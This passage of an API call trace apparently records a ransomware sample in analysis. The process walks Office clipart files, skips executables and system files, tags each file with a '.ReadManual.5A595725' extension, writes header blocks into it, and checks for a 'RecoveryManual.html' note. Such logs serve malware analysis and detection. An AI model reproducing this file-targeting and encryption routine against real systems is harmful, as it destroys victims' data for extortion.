dwBufferSize=0xbe) returned 1 [0266.400] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.400] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.402] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.402] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c44) returned 0x2f0000 [0266.402] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.402] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38707112546) returned 1 [0266.402] CloseHandle (hObject=0x184) returned 1 [0266.402] SetSecurityInfo () returned 0x57 [0266.403] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.403] CloseHandle (hObject=0x194) returned 1 [0266.403] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105526.WMF", cAlternateFileName="")) returned 1 [0266.403] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105526.WMF" | out: lpString1="J0105526.WMF") returned="J0105526.WMF" [0266.403] lstrcmpiW (lpString1="J0105526.WMF", lpString2="RecoveryManual.html") returned -1 [0266.403] StrStrIW (lpFirst="J0105526.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.403] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.403] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.403] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.403] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.403] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.403] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.403] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.403] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.403] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.403] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.403] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.403] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.403] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.403] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.403] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" [0266.403] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.ReadManual.5A595725" [0266.403] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.ReadManual.5A595725") returned 87 [0266.403] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38707213526) returned 1 [0266.403] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 0x20 [0266.404] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.404] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17332) returned 1 [0266.404] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x43b4, lpName=0x0) returned 0x184 [0266.404] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.405] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.405] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.407] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.407] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x43b4) returned 0x2f0000 [0266.407] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.407] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38707688633) returned 1 [0266.408] CloseHandle (hObject=0x184) returned 1 [0266.408] SetSecurityInfo () returned 0x57 [0266.408] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.408] CloseHandle (hObject=0x194) returned 1 [0266.408] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105530.WMF", cAlternateFileName="")) returned 1 [0266.408] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105530.WMF" | out: lpString1="J0105530.WMF") returned="J0105530.WMF" [0266.409] lstrcmpiW (lpString1="J0105530.WMF", lpString2="RecoveryManual.html") returned -1 [0266.409] StrStrIW (lpFirst="J0105530.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.409] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.409] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.409] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.409] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.409] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.409] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.409] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.409] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.409] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.409] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.409] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.409] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.409] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.409] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.409] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" [0266.409] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.ReadManual.5A595725" [0266.409] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.ReadManual.5A595725") returned 87 [0266.409] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38707788024) returned 1 [0266.409] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 0x20 [0266.409] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.410] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7384) returned 1 [0266.410] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1cd8, lpName=0x0) returned 0x184 [0266.410] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.410] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.410] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.412] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.412] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1cd8) returned 0x2f0000 [0266.412] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.412] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38708122756) returned 1 [0266.413] CloseHandle (hObject=0x184) returned 1 [0266.413] SetSecurityInfo () returned 0x57 [0266.413] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.413] CloseHandle (hObject=0x194) returned 1 [0266.413] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x542c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105588.WMF", cAlternateFileName="")) returned 1 [0266.413] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105588.WMF" | out: lpString1="J0105588.WMF") returned="J0105588.WMF" [0266.413] lstrcmpiW (lpString1="J0105588.WMF", lpString2="RecoveryManual.html") returned -1 [0266.413] StrStrIW (lpFirst="J0105588.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.413] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.413] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.413] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.413] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.413] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.413] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.413] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.413] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.413] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.413] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.413] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.413] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.413] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.413] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.413] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" [0266.413] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.ReadManual.5A595725" [0266.413] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.ReadManual.5A595725") returned 87 [0266.413] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38708222545) returned 1 [0266.414] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 0x20 [0266.414] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.414] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21548) returned 1 [0266.414] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x542c, lpName=0x0) returned 0x184 [0266.414] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.415] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.415] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.416] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.417] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x542c) returned 0x2f0000 [0266.417] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.417] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38708573626) returned 1 [0266.417] CloseHandle (hObject=0x184) returned 1 [0266.417] SetSecurityInfo () returned 0x57 [0266.417] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.417] CloseHandle (hObject=0x194) returned 1 [0266.417] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105600.WMF", cAlternateFileName="")) returned 1 [0266.417] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105600.WMF" | out: lpString1="J0105600.WMF") returned="J0105600.WMF" [0266.417] lstrcmpiW (lpString1="J0105600.WMF", lpString2="RecoveryManual.html") returned -1 [0266.417] StrStrIW (lpFirst="J0105600.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.417] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.417] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.417] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.418] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.418] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.418] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.418] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.418] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.418] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.418] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.418] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.418] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.418] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.418] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.418] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" [0266.418] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.ReadManual.5A595725" [0266.418] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.ReadManual.5A595725") returned 87 [0266.418] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38708670425) returned 1 [0266.418] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 0x20 [0266.419] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.419] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8680) returned 1 [0266.419] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21e8, lpName=0x0) returned 0x184 [0266.419] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.420] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.420] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.422] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.422] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x21e8) returned 0x2f0000 [0266.422] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.422] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38709084446) returned 1 [0266.422] CloseHandle (hObject=0x184) returned 1 [0266.422] SetSecurityInfo () returned 0x57 [0266.422] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.422] CloseHandle (hObject=0x194) returned 1 [0266.422] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105638.WMF", cAlternateFileName="")) returned 1 [0266.422] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105638.WMF" | out: lpString1="J0105638.WMF") returned="J0105638.WMF" [0266.422] lstrcmpiW (lpString1="J0105638.WMF", lpString2="RecoveryManual.html") returned -1 [0266.423] StrStrIW (lpFirst="J0105638.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.423] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.423] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.423] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.423] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.423] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.423] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.423] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.423] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.423] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.423] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.423] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.423] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.423] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.423] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.423] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" [0266.423] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.ReadManual.5A595725" [0266.423] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.ReadManual.5A595725") returned 87 [0266.423] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38709186202) returned 1 [0266.423] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf")) returned 0x20 [0266.423] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.424] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10364) returned 1 [0266.424] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x287c, lpName=0x0) returned 0x184 [0266.424] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.424] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.424] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.426] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.426] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x287c) returned 0x2f0000 [0266.426] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.427] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38709528885) returned 1 [0266.427] CloseHandle (hObject=0x184) returned 1 [0266.427] SetSecurityInfo () returned 0x57 [0266.427] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.427] CloseHandle (hObject=0x194) returned 1 [0266.427] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, 